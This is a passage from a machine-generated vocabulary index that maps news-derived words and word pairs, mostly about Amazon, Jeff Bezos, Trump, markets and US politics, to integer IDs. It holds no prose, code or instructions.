103471, "axiom": 103472, "quiet deals": 103473, "piss": 103474, "aide releases": 103475, "grocery jewelry": 103476, "experts say": 103477, "risky trade": 103478, "tapes aug": 103479, "executive began": 103480, "biodiversity focused": 103481, "old strange": 103482, "abrupt change": 103483, "downsides": 103484, "controls frightening": 103485, "says wholesale": 103486, "bezos intently": 103487, "comment download": 103488, "pecker reached": 103489, "included 98point6": 103490, "advchart frames": 103491, "putnam county": 103492, "contaminants": 103493, "life involves": 103494, "supply firms": 103495, "1965 2005": 103496, "352 403": 103497, "500 improvement": 103498, "presidential joining": 103499, "development worth": 103500, "trumpxi": 103501, "eater investigative": 103502, "various ethnicities": 103503, "dr sima": 103504, "crash chick": 103505, "refiners": 103506, "agents want": 103507, "money subsidizing": 103508, "wonderstruck": 103509, "amazon reacting": 103510, "entrepreneurial": 103511, "trump writes": 103512, "targeted search": 103513, "accelerator": 103514, "coordinated response": 103515, "fleets": 103516, "barr california": 103517, "environment ministry": 103518, "debate khanna": 103519, "typical commercial": 103520, "trump brush": 103521, "samsung violated": 103522, "news reported": 103523, "nationwide manhunt": 103524, "prest": 103525, "dysfunction corruption": 103526, "gone wrong": 103527, "launch micro": 103528, "silence criticism": 103529, "emenville": 103530, "bloomberg tracks": 103531, "great number": 103532, "shooters streamline": 103533, "packages drawing": 103534, "2nmdtyd6sv don": 103535, "consumer growth": 103536, "viable package": 103537, "welfare education": 103538, "blocking articles": 103539, "cheek": 103540, "curbing homelessness": 103541, "worth amounting": 103542, "sector helped": 103543, "jc": 103544, "arrested shortly": 103545, "market valuation": 103546, "seattle offer": 103547, "successful investors": 103548, "financial settlements": 103549, "prematurely terminate": 103550, "answered update": 103551, "assistance govpredict": 103552, "city bolduan": 103553, "blackmail read": 103554, "clark adventure": 103555, "analyst larry": 103556, "various providers": 103557, "jet crash": 103558, "autonomous vehicles": 103559, "amazon doesnt": 103560, "icymi bezos": 103561, "computing businesses": 103562, "white nationalists": 103563, "indian entrepreneur": 103564, "dance performer": 103565, "man touches": 103566, "media south": 103567, "jackie": 103568, "goods nearly": 103569, "time fan": 103570, "contributors": 103571, "larger initiative": 103572, "marriott pledges": 103573, "apps senate": 103574, "jersey new": 103575, "scaling amazon": 103576, "label product": 103577, "bartender ocasio": 103578, "sites reinsurance": 103579, "post does": 103580, "hanson cited": 103581, "going southbound": 103582, "low age": 103583, "deblasio placing": 103584, "outdo competitors": 103585, "oct 2016": 103586, "motivation fit": 103587, "hated deal": 103588, "select titles": 103589, "buying new": 103590, "looking seriously": 103591, "horse head": 103592, "reduced holdings": 103593, "tennessee zucker": 103594, "company agreed": 103595, "launch antitrust": 103596, "york long": 103597, "workday pay": 103598, "ages disney": 103599, "lengths": 103600, "occ actually": 103601, "car engines": 103602, "lc owns": 103603, "contractor": 103604, "shares boston": 103605, "liable": 103606, "current trade": 103607, "euromonitor": 103608, "package items": 103609, "taylor swift": 103610, "remain optimistic": 103611, "whew": 103612, "going crazy": 103613, "sweetening": 103614, "thriller game": 103615, "leonhardt amazon": 103616, "stocks continue": 103617, "streetwear collection": 103618, "cia deal": 103619, "zhou dynasty": 103620, "vacations adam": 103621, "buh": 103622, "positive amazon": 103623, "parallels aug": 103624, "executives nearly": 103625, "study results": 103626, "ofphone": 103627, "2019 jumaane": 103628, "impeachment scandal": 103629, "taron": 103630, "amazon cfo": 103631, "security gavin": 103632, "tariff firing": 103633, "streamlined user": 103634, "private electric": 103635, "policy processes": 103636, "mcdougal": 103637, "unlikely ally": 103638, "edges atlantic": 103639, "royalty fees": 103640, "drawn criticism": 103641, "privacy concerns": 103642, "called vigilante": 103643, "gtec": 103644, "increasing package": 103645, "yang master": 103646, "trump angry": 103647, "supported amazons": 103648, "rung helped": 103649, "poor treatment": 103650, "adorned": 103651, "state low": 103652, "inspects": 103653, "delicious": 103654, "murphy right": 103655, "don address": 103656, "blackmail wrote": 103657, "economically carbon": 103658, "sweater variety": 103659, "trump despising": 103660, "tabloid expos\u00e9": 103661, "sources bloomberg": 103662, "undated facebook": 103663, "coming home": 103664, "sarge": 103665, "grateful": 103666, "days hanging": 103667, "income americans": 103668, "expenses barclays": 103669, "impeachment proceedings": 103670, "bristowe": 103671, "holiday spirit": 103672, "strong majority": 103673, "russian ties": 103674, "expect metapack": 103675, "focus right": 103676, "openly lauding": 103677, "brashear online": 103678, "products small": 103679, "report 2018": 103680, "loan defaults": 103681, "hazards minutes": 103682, "ben carlson": 103683, "meeting space": 103684, "studio hardware": 103685, "mere thought": 103686, "patients stuck": 103687, "chief donald": 103688, "monetary woes": 103689, "designed sens": 103690, "ignition future": 103691, "platforms measure": 103692, "stunning architecture": 103693, "hitler drumpf": 103694, "palantir designed": 103695, "southwest tropical": 103696, "stop creating": 103697, "office progressive": 103698, "took long": 103699, "average gain": 103700, "tencent alibaba": 103701, "adds protections": 103702, "cracking": 103703, "keaten": 103704, "southwest mount": 103705, "equities bloomberg": 103706, "dish network": 103707, "p7a": 103708, "department spending": 103709, "star xxxtentacion": 103710, "medication adherence": 103711, "develop technology": 103712, "bathrooms sanders": 103713, "swaying": 103714, "plus charitable": 103715, "complex political": 103716, "living quarters": 103717, "buy micron": 103718, "fast changing": 103719, "nbc nbcsn": 103720, "make landfall": 103721, "sam feist": 103722, "shipping agreement": 103723, "josh lipton": 103724, "edges higher": 103725, "greene right": 103726, "islamic world": 103727, "cold shoulder": 103728, "day turned": 103729, "multi billionaires": 103730, "physical mail": 103731, "mark groups": 103732, "overwhelming worry": 103733, "symbol 7203": 103734, "deliver orders": 103735, "righteous lawman": 103736, "enquirer work": 103737, "big tent": 103738, "houses increased": 103739, "kors chanel": 103740, "large media": 103741, "moody lead": 103742, "million bias": 103743, "freetime": 103744, "says gene": 103745, "reality devices": 103746, "prevent infanticide": 103747, "trust hurdles": 103748, "authoritarian governments": 103749, "new body": 103750, "process question": 103751, "organizer aaron": 103752, "felix gallardo": 103753, "settlements euro": 103754, "mexico norway": 103755, "newest collaboration": 103756, "194 zach": 103757, "new billion": 103758, "cut initiative": 103759, "australian inflation": 103760, "axed": 103761, "vuukle comments": 103762, "food service": 103763, "benefits offered": 103764, "similar threats": 103765, "alleged activities": 103766, "ask associates": 103767, "amazon helps": 103768, "maryland sunny": 103769, "actually benefits": 103770, "long slow": 103771, "american pot": 103772, "better pharmacy": 103773, "gallery 2019": 103774, "mack": 103775, "house majority": 103776, "pressurize": 103777, "egyptian afghan": 103778, "taunted bezos": 103779, "different days": 103780, "185 806": 103781, "armed employees": 103782, "stock hits": 103783, "dodges practised": 103784, "citing sources": 103785, "reordering": 103786, "community investments": 103787, "gizmodo according": 103788, "amazon saw": 103789, "signature upper": 103790, "returns probably": 103791, "national congress": 103792, "start set": 103793, "began apparently": 103794, "famously bashed": 103795, "trump online": 103796, "experimenting": 103797, "asoga freepressmedia": 103798, "2018 brotopia": 103799, "iconic director": 103800, "global fulfillment": 103801, "company abusing": 103802, "including youtube": 103803, "promo eoa": 103804, "2080 ti": 103805, "really different": 103806, "week report": 103807, "feature spicer": 103808, "foot range": 103809, "230 shares": 103810, "nyassembly gov": 103811, "sells products": 103812, "kill bezos": 103813, "cadre": 103814, "health wellness": 103815, "green eggs": 103816, "nextplay currentvideocollection": 103817, "drug order": 103818, "coming forward": 103819, "toughen": 103820, "sebastian noel": 103821, "var carousel": 103822, "needed funds": 103823, "government white": 103824, "bogus paper": 103825, "snl writers": 103826, "unconscious": 103827, "trump measure": 103828, "quarter apple": 103829, "agencies rekognition": 103830, "battleground tracker": 103831, "null authors": 103832, "expensive technology": 103833, "process pentagon": 103834, "individual opportunity": 103835, "great losers": 103836, "republicans anti": 103837, "deny responsibility": 103838, "reluctant downtown": 103839, "using certain": 103840, "entrepreneur contributors": 103841, "giving employees": 103842, "nyt haberman": 103843, "way short": 103844, "needed fresh": 103845, "monopoly maybe": 103846, "death row": 103847, "fold": 103848, "data export": 103849, "existent federal": 103850, "muckerman beating": 103851, "department officialsin": 103852, "tweeted": 103853, "phony items": 103854, "radio interview": 103855, "conspiracy group": 103856, "4c11b827": 103857, "orbit including": 103858, "mounts residents": 103859, "apocalyptic industrial": 103860, "judge people": 103861, "record high": 103862, "sales away": 103863, "love rekindling": 103864, "chart shown": 103865, "story wendy": 103866, "stocks gained": 103867, "sarmiento": 103868, "omissions": 103869, "rocketship maker": 103870, "suqar": 103871, "lenovo": 103872, "boss privately": 103873, "najarian fagna": 103874, "major average": 103875, "targets winner": 103876, "source nationalinterest": 103877, "list george": 103878, "ninja antifa": 103879, "remote jobs": 103880, "paying local": 103881, "toilet brush": 103882, "praise following": 103883, "stock price": 103884, "occlusion": 103885, "fx weakness": 103886, "payer president": 103887, "threats big": 103888, "follow amazon": 103889, "airtight": 103890, "year local": 103891, "mother amira": 103892, "light diffusing": 103893, "running rushing": 103894, "day management": 103895, "using visual": 103896, "long deadly": 103897, "honor police": 103898, "ubhi bastardization": 103899, "cloud startups": 103900, "past bi": 103901, "jpg 385x240": 103902, "week ocasio": 103903, "issue regulations": 103904, "afterthought": 103905, "attacks goldman": 103906, "executive following": 103907, "admittedly": 103908, "k4a": 103909, "launching devices": 103910, "consider bad": 103911, "law wall": 103912, "bogged": 103913, "incorrectly": 103914, "adult opening": 103915, "twitter founder": 103916, "rushing": 103917, "istoric area": 103918, "darn": 103919, "big data": 103920, "employees driving": 103921, "recently nokia": 103922, "oz program": 103923, "tom homan": 103924, "showing trump": 103925, "member body": 103926, "stately": 103927, "dead bootleg": 103928, "emergency unlike": 103929, "mother nursing": 103930, "fa": 103931, "hbo michael": 103932, "dominance": 103933, "comment cnet": 103934, "discussed trade": 103935, "amazon bears": 103936, "mccain feels": 103937, "trump low": 103938, "shopping destination": 103939, "screened": 103940, "capra": 103941, "sellers including": 103942, "harassment": 103943, "healy mary": 103944, "launching campaigns": 103945, "banking market": 103946, "bloomington 42am": 103947, "dreadful secrets": 103948, "amazon hardware": 103949, "queens greens": 103950, "analysis gop": 103951, "just little": 103952, "navy base": 103953, "beauty services": 103954, "podcasts": 103955, "supercharging": 103956, "redfin": 103957, "delivering sequel": 103958, "cargill": 103959, "sky videocmsurl": 103960, "gaby": 103961, "arctic sea": 103962, "person new": 103963, "new chief": 103964, "negotiators robert": 103965, "woes trump": 103966, "troll dolls": 103967, "various parties": 103968, "announced date": 103969, "kth trump": 103970, "accept bezos": 103971, "amazon gathered": 103972, "ordered worldwide": 103973, "costly deepwater": 103974, "technology disruption": 103975, "tycoon bezos": 103976, "hakim": 103977, "modern era": 103978, "new a4": 103979, "free trade": 103980, "major scandal": 103981, "collecting state": 103982, "revenue surged": 103983, "symbol pepe": 103984, "suggests singular": 103985, "fox assets": 103986, "cohen cohen": 103987, "amazon dsp": 103988, "drugs topics": 103989, "ramp kathleen": 103990, "long story": 103991, "atlantic city": 103992, "isa believes": 103993, "interested": 103994, "subdivision barangay": 103995, "kingdom team": 103996, "appreciated": 103997, "routers": 103998, "175 billion": 103999, "a4ee t8": 104000, "andres manuel": 104001, "previous interpretation": 104002, "guns gay": 104003, "photo philippe": 104004, "major competitor": 104005, "pejorative": 104006, "miami": 104007, "similar number": 104008, "games teach": 104009, "mcclain incorporated": 104010, "collette john": 104011, "long form": 104012, "washington threw": 104013, "emily stewart": 104014, "amazon argues": 104015, "build tall": 104016, "etfs": 104017, "nominate amazon": 104018, "reported highlighting": 104019, "popular professor": 104020, "defamatory behaviour": 104021, "putin tom": 104022, "prestel publishing": 104023, "term progresses": 104024, "msft": 104025, "ceo spent": 104026, "algae": 104027, "union percentage": 104028, "york mets": 104029, "harming american": 104030, "correctly guessed": 104031, "nn cnl_calcaccesplact_content_content": 104032, "contractual safeguards": 104033, "naipaul": 104034, "piece puffy": 104035, "naples returning": 104036, "spanish fork": 104037, "hit soon": 104038, "bloomberg government": 104039, "thomas edison": 104040, "investigative team": 104041, "cla appnexus": 104042, "source6pm": 104043, "democratic increasingly": 104044, "nixed visit": 104045, "obamas entered": 104046, "2019 skynews": 104047, "favourite weapon": 104048, "punished": 104049, "nextday delivery": 104050, "tour amazon": 104051, "chinese negotiators": 104052, "ap doctors": 104053, "buildings": 104054, "jr patagonia": 104055, "richard mills": 104056, "hard copy": 104057, "government history": 104058, "russian asset": 104059, "insofar": 104060, "interference washington": 104061, "make fair": 104062, "store opens": 104063, "year betsy": 104064, "cbsnews huffingtonpost": 104065, "county commissioners": 104066, "firearms amazon": 104067, "played significant": 104068, "market kudlow": 104069, "occupational therapy": 104070, "questions michael": 104071, "infancy": 104072, "ben tracy": 104073, "foldable": 104074, "run innovation": 104075, "morning week": 104076, "textbooks": 104077, "night bolding": 104078, "privacy makes": 104079, "608 shares": 104080, "treatment amazon": 104081, "produced new": 104082, "indebted": 104083, "glance government": 104084, "mogul harvey": 104085, "pancetta vegetarian": 104086, "pubdate": 104087, "2020 elections": 104088, "2018 glenn": 104089, "amazon quick": 104090, "elon musks": 104091, "update desk": 104092, "fund portfolio": 104093, "leon cooperman": 104094, "tv living": 104095, "business groups": 104096, "donald trump": 104097, "ass": 104098, "different set": 104099, "policies": 104100, "latest medical": 104101, "winning multiple": 104102, "recent months": 104103, "overpriced 2018": 104104, "roy": 104105, "carestream": 104106, "listings number": 104107, "contributing editor": 104108, "10b5 greer": 104109, "postal services": 104110, "duplex": 104111, "month published": 104112, "unique gift": 104113, "sold 200": 104114, "intimate messages": 104115, "battling identity": 104116, "pace nearly": 104117, "encourages new": 104118, "carrier takes": 104119, "described zionist": 104120, "writes nisha": 104121, "delivery entrepreneurs": 104122, "quarter decidedly": 104123, "1153 bought": 104124, "cloud customers": 104125, "trey": 104126, "south jiatf": 104127, "bin owned": 104128, "loa": 104129, "yamiche": 104130, "disappoints 2018": 104131, "juggernaut valued": 104132, "amazon ir": 104133, "known deus": 104134, "primack": 104135, "amply": 104136, "compounding": 104137, "lobbyist amid": 104138, "company ny": 104139, "assault": 104140, "community needs": 104141, "pacifica network": 104142, "gonzalez mijente": 104143, "security perspective": 104144, "wolf trump": 104145, "short run": 104146, "market sell": 104147, "great questions": 104148, "electronic tolls": 104149, "journal apple": 104150, "liberty congress": 104151, "herera": 104152, "amazon brings": 104153, "google straightforward": 104154, "sponsors introduced": 104155, "takeaways says": 104156, "mickey mouse": 104157, "commentator slash": 104158, "patent": 104159, "fast shipping": 104160, "rhodes scholar": 104161, "hacker": 104162, "trolling": 104163, "stanley kubrick": 104164, "world kindness": 104165, "spain new": 104166, "breaching": 104167, "francisco glad": 104168, "level security": 104169, "antonio author": 104170, "old electric": 104171, "poisons": 104172, "knott": 104173, "2fjeff": 104174, "working aggressively": 104175, "bezos photos": 104176, "tax 350": 104177, "sanders rolls": 104178, "big premarket": 104179, "bad bargain": 104180, "operations pillpack": 104181, "typeface view": 104182, "deliveries charging": 104183, "enterprise software": 104184, "case testing": 104185, "aws supply": 104186, "mineral resources": 104187, "written raise": 104188, "missile base": 104189, "novelist wife": 104190, "ware": 104191, "i4 i4": 104192, "central terminal": 104193, "delayed continuation": 104194, "hirokazu": 104195, "projects covering": 104196, "praise": 104197, "black stripe": 104198, "snatch": 104199, "trump president": 104200, "consultant bezos": 104201, "eevvf si": 104202, "google confirmed": 104203, "capacity buy": 104204, "isgoing": 104205, "panelists included": 104206, "driven amazon": 104207, "origin rocket": 104208, "know searching": 104209, "q3 quarter": 104210, "money americans": 104211, "pass level": 104212, "najarian": 104213, "organization members": 104214, "regularly uses": 104215, "specifically": 104216, "oct": 104217, "apple juice": 104218, "damaging smaller": 104219, "adl": 104220, "someones invoke": 104221, "ways khan": 104222, "local merchants": 104223, "parcel delivery": 104224, "feeling dreaming": 104225, "performed": 104226, "speech markup": 104227, "seriousness": 104228, "scumbags": 104229, "generalised sycophancy": 104230, "earnest intent": 104231, "khan argued": 104232, "unlimited access": 104233, "nyc office": 104234, "\u0627\u0644\u0639\u0646\u0640\u0640\u0640\u0640\u0648\u062f a_140_": 104235, "500 slips": 104236, "says bounce": 104237, "repatriate": 104238, "left ton": 104239, "haspel steve": 104240, "fedex crude": 104241, "county courthouse": 104242, "increased regulation": 104243, "irish brewer": 104244, "japanese government": 104245, "bomb runway": 104246, "trump reaches": 104247, "intercept suggests": 104248, "technology company": 104249, "recounted story": 104250, "ian kullgren": 104251, "minded heres": 104252, "hurricane bezos": 104253, "prevent people": 104254, "talks beijing": 104255, "accruing": 104256, "overseas logistics": 104257, "sadrzadeh": 104258, "party leader": 104259, "hurts american": 104260, "company pay": 104261, "annual losses": 104262, "fixer turns": 104263, "servicer says": 104264, "chandler wapo": 104265, "levels typically": 104266, "cages department": 104267, "settle compliance": 104268, "story originally": 104269, "jr mocked": 104270, "seemingly keen": 104271, "counties owing": 104272, "early months": 104273, "media organization": 104274, "homeless shelters": 104275, "election takeaways": 104276, "supporting colombia": 104277, "companies buy": 104278, "senate control": 104279, "bengaluru india": 104280, "wing news": 104281, "lose weight": 104282, "ticking": 104283, "benjamin netanyahu": 104284, "stretchy membrane": 104285, "actually helped": 104286, "online amazon": 104287, "national unemployment": 104288, "section located": 104289, "face subpoenas": 104290, "dinette set": 104291, "craw": 104292, "trading strategies": 104293, "fortune ranked": 104294, "growth story": 104295, "playerinstance getvideodata": 104296, "us32 billion": 104297, "restorer": 104298, "trade union": 104299, "summit 2018": 104300, "cap opened": 104301, "daniel drezner": 104302, "puzder claims": 104303, "progressive center": 104304, "upstarts": 104305, "summer biggest": 104306, "political contributions": 104307, "decision expected": 104308, "impressive twitter": 104309, "hoenig": 104310, "widely followed": 104311, "administration estimates": 104312, "does trevor": 104313, "cnbc reiterated": 104314, "making corporation": 104315, "aviation award": 104316, "source pjmedia": 104317, "444ed7bb5ea74821be6b5fadf54818b4 960x0": 104318, "1st time": 104319, "caraga": 104320, "insurgent": 104321, "stopped marketing": 104322, "providing service": 104323, "piece starring": 104324, "financially weaken": 104325, "america heartland": 104326, "produced event": 104327, "delivers letters": 104328, "influential article": 104329, "wise kovach": 104330, "captured half": 104331, "different points": 104332, "key house": 104333, "change pelosi": 104334, "bezos largesse": 104335, "year climate": 104336, "new couple": 104337, "firmly denies": 104338, "turnover hickman": 104339, "retail category": 104340, "gonzalez": 104341, "shove": 104342, "deserve": 104343, "guided tour": 104344, "aircraft tens": 104345, "famously claimed": 104346, "james robert": 104347, "vaguely threatening": 104348, "forecast houston": 104349, "tom steyer": 104350, "lead task": 104351, "legitimate news": 104352, "campaign stopped": 104353, "costs suze": 104354, "outlook maduro": 104355, "obsessive": 104356, "florida fundraiser": 104357, "great little": 104358, "ming zeng": 104359, "china helps": 104360, "additional donations": 104361, "llc": 104362, "treasury led": 104363, "aouste": 104364, "situation faced": 104365, "amazon users": 104366, "government works": 104367, "eyes peeled": 104368, "cole reaction": 104369, "wall money": 104370, "businessman sent": 104371, "bearing ivanka": 104372, "deigning": 104373, "proudly crediting": 104374, "revoked interference": 104375, "2018 passages": 104376, "slandered china": 104377, "employee sent": 104378, "iphone charging": 104379, "v0 c0": 104380, "military coup": 104381, "controversy san": 104382, "years thomas": 104383, "little trump": 104384, "acquisition targets": 104385, "administration pulled": 104386, "poorer trump": 104387, "pre school": 104388, "strategic actions": 104389, "given information": 104390, "0316": 104391, "sweeteners colors": 104392, "amid months": 104393, "grain terminal": 104394, "bain study": 104395, "2019 damn": 104396, "lift sanctions": 104397, "2839172": 104398, "indulging": 104399, "week going": 104400, "listen maybe": 104401, "editors 2018": 104402, "meyerhoff": 104403, "zinke stands": 104404, "pure fin": 104405, "scrutiny sen": 104406, "thosequestions don": 104407, "carahsoft": 104408, "driveway": 104409, "public pronouncements": 104410, "selling pressure": 104411, "mair cited": 104412, "attorneys cbs": 104413, "exports": 104414, "railroad monopoly": 104415, "employee reportedly": 104416, "gauge": 104417, "marketoracle": 104418, "hasan": 104419, "arranging": 104420, "hema": 104421, "china real": 104422, "operations bezos": 104423, "detente": 104424, "numerous embarrassing": 104425, "tedcruz": 104426, "haven dumped": 104427, "flex workers": 104428, "wall set": 104429, "anybody dare": 104430, "kimmel saved": 104431, "publication threatened": 104432, "doing deliveries": 104433, "samaritan read": 104434, "order volume": 104435, "x8 l2": 104436, "order saying": 104437, "legal implications": 104438, "oars": 104439, "sauce spawned": 104440, "aerospace": 104441, "thumbnails": 104442, "recommendation list": 104443, "deal prime": 104444, "furious online": 104445, "firm stays": 104446, "larger trend": 104447, "feel personally": 104448, "electronic logging": 104449, "indicates amazon": 104450, "graham gonna": 104451, "magazine olivia": 104452, "2017 price": 104453, "people problems": 104454, "executive sundar": 104455, "small homes": 104456, "resembling fedex": 104457, "leeway": 104458, "u2x j8": 104459, "want want": 104460, "422": 104461, "newsletter called": 104462, "toupee": 104463, "2001 waiting": 104464, "oakland park": 104465, "sheffieldissuper yorkshireis": 104466, "india fast": 104467, "specific concern": 104468, "ravaged": 104469, "mob imageurl": 104470, "wants shoppers": 104471, "fully restored": 104472, "place obama": 104473, "foxconn upcoming": 104474, "authority granted": 104475, "firm owns": 104476, "vehement": 104477, "certainly did": 104478, "i_d": 104479, "fast paced": 104480, "company owner": 104481, "global trademark": 104482, "trump personality": 104483, "donny wacky": 104484, "incubator combinator": 104485, "sourcescott olson": 104486, "macquarie predicts": 104487, "aboutwhat": 104488, "bootlegs": 104489, "mueller wrapped": 104490, "china pence": 104491, "national selection": 104492, "start company": 104493, "eric mccormack": 104494, "musk fails": 104495, "wrists": 104496, "detailed critique": 104497, "government environmental": 104498, "allows states": 104499, "speculationwhether": 104500, "coma gives": 104501, "months amid": 104502, "area instead": 104503, "dollars leaders": 104504, "walker going": 104505, "instantly scanned": 104506, "nyse pfe": 104507, "pete davidson": 104508, "construction begins": 104509, "senator gianaris": 104510, "increasingly anachronistic": 104511, "upholt": 104512, "photo ark": 104513, "amazon new": 104514, "think republicans": 104515, "scope travelers": 104516, "cagey": 104517, "trump described": 104518, "pushing code": 104519, "amazon stays": 104520, "ami wrote": 104521, "rivalries national": 104522, "hits actually": 104523, "life wasted": 104524, "displace indigenous": 104525, "neighborhood long": 104526, "column": 104527, "commentary mounted": 104528, "embark": 104529, "guardian newspaper": 104530, "elliot alderson": 104531, "plot revolves": 104532, "victim nazi": 104533, "competitive nature": 104534, "binge lately": 104535, "mcternan rodale": 104536, "midland": 104537, "tomlin press": 104538, "problems peeing": 104539, "key sector": 104540, "profile danny": 104541, "strong demand": 104542, "stance": 104543, "andr\u00e9 lotterer": 104544, "sweetheart arrangement": 104545, "ey vaco": 104546, "john allen": 104547, "warmth": 104548, "series development": 104549, "stakeholder consensus": 104550, "retailers towns": 104551, "desk job": 104552, "notyet": 104553, "company recently": 104554, "nfbk reported": 104555, "angeles information": 104556, "space offline": 104557, "approvals": 104558, "previous connections": 104559, "men walked": 104560, "seth pollack": 104561, "storm miami": 104562, "conference staged": 104563, "policy process": 104564, "ineffectual practice": 104565, "company scams": 104566, "avoidance": 104567, "revamp": 104568, "bulk delivers": 104569, "kelly": 104570, "technology task": 104571, "develop systems": 104572, "desirable": 104573, "getting multiple": 104574, "411 040": 104575, "britton": 104576, "amass": 104577, "director doesn": 104578, "facility demonstrates": 104579, "nickelsburg gw": 104580, "youngstown": 104581, "lefties cronyism": 104582, "operation chicago": 104583, "reports surfaced": 104584, "connectivity believe": 104585, "competition alphabet": 104586, "thrown": 104587, "breaking activists": 104588, "travel amazon": 104589, "intelligence community": 104590, "americans working": 104591, "700 stores": 104592, "deceive consumers": 104593, "amazon office": 104594, "terrifying movie": 104595, "hoffman blitzscaling": 104596, "director nancy": 104597, "eventually hurt": 104598, "tentative": 104599, "reporting tactics": 104600, "start feeling": 104601, "presidency trump": 104602, "regulatory capture": 104603, "enables consumers": 104604, "courted big": 104605, "mismanagement": 104606, "crowdtangle": 104607, "dow futures": 104608, "century coliseum": 104609, "extra expenses": 104610, "suspiria": 104611, "amazon opportunity": 104612, "assets possibility": 104613, "profitable world": 104614, "564": 104615, "panic attack": 104616, "defaults": 104617, "aide told": 104618, "ofan award": 104619, "economy grew": 104620, "anker powerport": 104621, "tdy1rrxyabos6nze length": 104622, "tweets trade": 104623, "receive push": 104624, "fake luxury": 104625, "halo": 104626, "county explained": 104627, "article indonesia": 104628, "encouraging direct": 104629, "government changing": 104630, "yesterday george": 104631, "zeldin ny": 104632, "property hideous": 104633, "analytic way": 104634, "services told": 104635, "slap": 104636, "republicans defend": 104637, "websites booker": 104638, "pool": 104639, "special government": 104640, "don recall": 104641, "similar letter": 104642, "built sizable": 104643, "giant bans": 104644, "unbreakable": 104645, "protests assange": 104646, "pocketed billions": 104647, "filed federal": 104648, "holds ph": 104649, "explorer diego": 104650, "fake personalization": 104651, "josh ginsberg": 104652, "beat wall": 104653, "appreciating": 104654, "allegedly claimed": 104655, "subsidises": 104656, "weak data": 104657, "factors share": 104658, "biggest risk": 104659, "closed story": 104660, "northumbria": 104661, "relations entrepreneur": 104662, "blackmail bezos": 104663, "owner typical": 104664, "stop feeding": 104665, "sleepwalks": 104666, "say economic": 104667, "leaning florida": 104668, "amazonian biological": 104669, "marvelous": 104670, "investors expectations": 104671, "distillery according": 104672, "difficulty managing": 104673, "brag": 104674, "immigrants group": 104675, "post lawyer": 104676, "american viticultural": 104677, "amlo": 104678, "workers availability": 104679, "enthusiasm midterm": 104680, "analysts estimated": 104681, "600 point": 104682, "horndog commerce": 104683, "lc2kgo6men": 104684, "tears dp": 104685, "dozen lobbying": 104686, "541 shares": 104687, "reinventing": 104688, "tennesseans": 104689, "special subsidies": 104690, "takes position": 104691, "tv veteran": 104692, "p8 random": 104693, "male rural": 104694, "g0 ea": 104695, "doesn approve": 104696, "boycottwalmart running": 104697, "slammed": 104698, "tallahassee": 104699, "amazon ends": 104700, "offering twitch": 104701, "make life": 104702, "news publishers": 104703, "reinvents": 104704, "xom intraday": 104705, "regional economic": 104706, "innovation foundation": 104707, "purges": 104708, "time looked": 104709, "chilling example": 104710, "college scholarship": 104711, "ultimate": 104712, "a380": 104713, "community intentionally": 104714, "expense item": 104715, "organization helped": 104716, "trump lambast": 104717, "trump death": 104718, "cuny": 104719, "new allegations": 104720, "brazilian press": 104721, "surveillance complex": 104722, "month making": 104723, "establish enforcement": 104724, "changing corporate": 104725, "changes regarding": 104726, "biology": 104727, "circumvent competitive": 104728, "affecting": 104729, "news video": 104730, "earnings release": 104731, "tuesdaymotivation charitytuesday": 104732, "hasn grappled": 104733, "buying activity": 104734, "ira": 104735, "kits guitar": 104736, "drive fell": 104737, "magically turn": 104738, "smaller cities": 104739, "law expanded": 104740, "occasion": 104741, "cola ko": 104742, "founded owns": 104743, "dea agent": 104744, "raunchiest": 104745, "hangzhou": 104746, "firms pay": 104747, "bottle nalgene": 104748, "divorcing weeks": 104749, "interruptions": 104750, "burgeoning value": 104751, "onions": 104752, "robust team": 104753, "face significant": 104754, "hydration water": 104755, "disaster money": 104756, "rage competing": 104757, "phones oppo": 104758, "cuomo spoke": 104759, "banking practices": 104760, "marketplace machine": 104761, "include data": 104762, "thing markets": 104763, "customer relationships": 104764, "performance team": 104765, "court upholds": 104766, "billion items": 104767, "proceeding amazon": 104768, "herera exactly": 104769, "relatively": 104770, "void t9x": 104771, "going allow": 104772, "james says": 104773, "standard rate": 104774, "meyer wrote": 104775, "american think": 104776, "spalding group": 104777, "market snapshot": 104778, "boorstin": 104779, "dogs outside": 104780, "lacy spielberg": 104781, "avoid listing": 104782, "magical": 104783, "bestseller status": 104784, "advantageous government": 104785, "trump stood": 104786, "chicago officer": 104787, "results achieved": 104788, "government work": 104789, "fentanyl seizure": 104790, "having downbeat": 104791, "christmas day": 104792, "tech book": 104793, "longtime ally": 104794, "gc_custom_credit null": 104795, "intersection": 104796, "defends brett": 104797, "heir": 104798, "motivated cozy": 104799, "supremacist attacks": 104800, "complex supply": 104801, "country going": 104802, "zing visit": 104803, "challenges confronted": 104804, "profits according": 104805, "senate hearing": 104806, "power driven": 104807, "altering drugs": 104808, "killer lawsuits": 104809, "sues tribune": 104810, "sanford": 104811, "proposed price": 104812, "jeffbozo eat": 104813, "clip dan": 104814, "tami": 104815, "conference following": 104816, "constantly asked": 104817, "content shows": 104818, "especially evident": 104819, "biggest leaker": 104820, "2016 reads": 104821, "1a a4ee": 104822, "algorithms": 104823, "moser mean": 104824, "granted pardon": 104825, "set watchman": 104826, "jordan treece": 104827, "research note": 104828, "president 2017": 104829, "misleading amazon": 104830, "offer significant": 104831, "influencers": 104832, "secretary zinke": 104833, "rainforest federal": 104834, "newyorkgritty net": 104835, "fall": 104836, "journalists": 104837, "wrote gannett": 104838, "swan jonathanvswan": 104839, "disrespecting": 104840, "toughest litigators": 104841, "owned post": 104842, "advocate subpoena": 104843, "balked": 104844, "t000002771": 104845, "marriage following": 104846, "interviews": 104847, "423 17m": 104848, "quasi government": 104849, "youth pledge": 104850, "push mercedes": 104851, "youthful hetmyer": 104852, "francis according": 104853, "right mean": 104854, "ap entertainment": 104855, "day alex": 104856, "appario retail": 104857, "reader nook": 104858, "computers awaiting": 104859, "memo issued": 104860, "german marshall": 104861, "seattle nwsseattle": 104862, "audience michael": 104863, "catalogs chronology": 104864, "day rebecca": 104865, "2017 prior": 104866, "debauching": 104867, "geekwire don": 104868, "helped send": 104869, "spend money": 104870, "york 2019": 104871, "watch target": 104872, "visit usps": 104873, "anchor silicon": 104874, "procter gamble": 104875, "good choreographed": 104876, "236 cities": 104877, "green lobby": 104878, "provocative speech": 104879, "suv orig": 104880, "prescription": 104881, "sinnet": 104882, "irregular": 104883, "instead according": 104884, "403": 104885, "potus hating": 104886, "making 576": 104887, "sap": 104888, "neckband regular": 104889, "juul": 104890, "2023 amazon": 104891, "amazon secondary": 104892, "looks funny": 104893, "china john": 104894, "president recep": 104895, "progresses": 104896, "national anthem": 104897, "resolutions": 104898, "campus plan": 104899, "bullet point": 104900, "reportedly 